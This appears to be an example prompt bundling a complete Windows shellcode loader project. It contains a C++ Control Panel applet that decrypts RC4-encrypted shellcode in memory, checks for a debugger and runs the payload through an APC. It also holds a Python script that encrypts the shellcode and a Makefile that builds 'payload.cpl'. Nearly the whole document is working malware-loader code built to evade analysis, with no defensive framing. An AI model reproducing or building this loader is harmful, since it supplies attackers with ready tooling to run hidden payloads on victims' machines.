Example prompt

<project>
  <src>
    <file name="main.cpp">
<![CDATA[
#include <windows.h>
#include <winternl.h>

// Encrypted shellcode and RC4 key (generated by preprocess.py)
#include "encrypted_shellcode.h"

// NTDLL function prototypes
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, SIZE_T ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS (NTAPI *pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext, PVOID ApcStatusBlock, ULONG ApcReserved);
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
typedef NTSTATUS (NTAPI *pNtDelayExecution)(BOOLEAN Alertable, PLARGE_INTEGER DelayInterval);

// RC4 decryption function
void rc4(unsigned char *key, size_t key_len, unsigned char *data, size_t data_len) {
    unsigned char S[256];
    for (int i = 0; i < 256; i++) {
        S[i] = i;
    }
    int j = 0;
    for (int i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % key_len]) & 0xff;
        unsigned char temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }
    int i = 0;
    j = 0;
    for (size_t n = 0; n < data_len; n++) {
        i = (i + 1) & 0xff;
        j = (j + S[i]) & 0xff;
        unsigned char temp = S[i];
        S[i] = S[j];
        S[j] = temp;
        unsigned char k = S[(S[i] + S[j]) & 0xff];
        data[n] ^= k;
    }
}

// Anti-debugging check
bool is_debugger_present() {
    pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
    NTSTATUS status;
    DWORD_PTR debug_port = 0;
    status = NtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &debug_port, sizeof(debug_port), NULL);
    if (NT_SUCCESS(status) && debug_port != 0) {
        return true;
    }
    return false;
}

// APC callback function
VOID CALLBACK shellcode_apc(ULONG_PTR dwParam) {
    // Empty APC callback, just need to trigger execution
}

// CPL entry point
extern "C" __declspec(dllexport) LONG CplApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2) {
    // Check for debugger
    if (is_debugger_present()) {
        return 1;
    }

    // Get NTDLL function addresses
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
    pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueueApcThread");
    pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");

    // Allocate multiple smaller pages
    PVOID shellcode_address = NULL;
    SIZE_T shellcode_size = sizeof(encrypted_shellcode);
    SIZE_T region_size = shellcode_size;
    NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &shellcode_address, 0, &region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(status)) {
        return 1;
    }

    // Copy encrypted shellcode to allocated memory
    memcpy(shellcode_address, encrypted_shellcode, shellcode_size);

    // Decrypt shellcode using RC4
    rc4(rc4_key, sizeof(rc4_key), (unsigned char *)shellcode_address, shellcode_size);

    // Make the memory executable
    DWORD oldProtect;
    if (!VirtualProtect(shellcode_address, shellcode_size, PAGE_EXECUTE_READ, &oldProtect)) {
        return 1;
    }

    // Queue an APC to execute the shellcode in the current thread
    status = NtQueueApcThread(GetCurrentThread(), (PIO_APC_ROUTINE)shellcode_address, NULL, NULL, NULL);
    if (!NT_SUCCESS(status)) {
        return 1;
    }

    // Enter an alertable state to execute the APC
    LARGE_INTEGER delay;
    delay.QuadPart = -10000; // 1 ms
    NtDelayExecution(TRUE, &delay);

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    return TRUE;
}
]]>
    </file>
    
    <file name="preprocess.py">
<![CDATA[
import sys
import random

def rc4(key, data):
    S = list(range(256))
    j = 0
    out = []

    # Key-scheduling algorithm (KSA)
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 0xff
        S[i], S[j] = S[j], S[i]

    # Pseudo-random generation algorithm (PRGA)
    i = j = 0
    for byte in data:
        i = (i + 1) & 0xff
        j = (j + S[i]) & 0xff
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) & 0xff]
        out.append(byte ^ k)

    return bytes(out)

def generate_random_key(length=16):
    return os.urandom(length)

def main():
    if not os.path.exists("shellcode.bin"):
        print("Error: shellcode.bin not found")
        sys.exit(1)

    with open("shellcode.bin", "rb") as f:
        shellcode = f.read()

    key = generate_random_key()
    encrypted = rc4(key, shellcode)

    # Output encrypted shellcode and key as C++ arrays
    print("// Encrypted shellcode")
    print("unsigned char encrypted_shellcode[] = {")
    for i, byte in enumerate(encrypted):
        if i % 16 == 0:
            print("    ", end="")
        print(f"0x{byte:02x},", end=" ")
        if (i + 1) % 16 == 0:
            print()
    print("\n};")

    print("\n// RC4 key")
    print("unsigned char rc4_key[] = {")
    for i, byte in enumerate(key):
        if i % 16 == 0:
            print("    ", end="")
        print(f"0x{byte:02x},", end=" ")
        if (i + 1) % 16 == 0:
            print()
    print("\n};")

if __name__ == "__main__":
    import os
    main()
]]>
    </file>

    <file name="Makefile">
<![CDATA[
all:
\tpython preprocess.py > encrypted_shellcode.h
\tx86_64-w64-mingw32-g++ -shared -o payload.cpl main.cpp -Wl,--subsystem,windows -Wl,--out-implib,payload.lib
]]>
    </file>
  </src>

  <command>make</command>
</project>